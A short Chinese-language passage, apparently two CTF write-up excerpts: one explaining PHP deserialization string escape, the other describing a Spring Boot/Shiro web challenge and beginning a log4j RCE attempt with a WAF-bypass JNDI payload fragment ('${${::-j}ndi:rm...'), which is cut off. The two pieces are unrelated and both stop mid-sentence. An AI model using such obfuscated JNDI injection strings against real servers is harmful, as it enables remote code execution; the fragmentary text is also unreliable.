CTF

反序列化字符串逃逸常见于CTF中，所以在这里记录下 导致反序列化字符串逃逸的原因:是因为对序列化后的字符进行过滤，导致用户可控字符溢出，从而控制序

Web shiro? 很明显不是一般的shiro，很多命令都不能用，又是Sprintboot框架，那可以尝试log4j RCE 发现存在WAF检测，bypass测试绕过：${${::-j}ndi:rm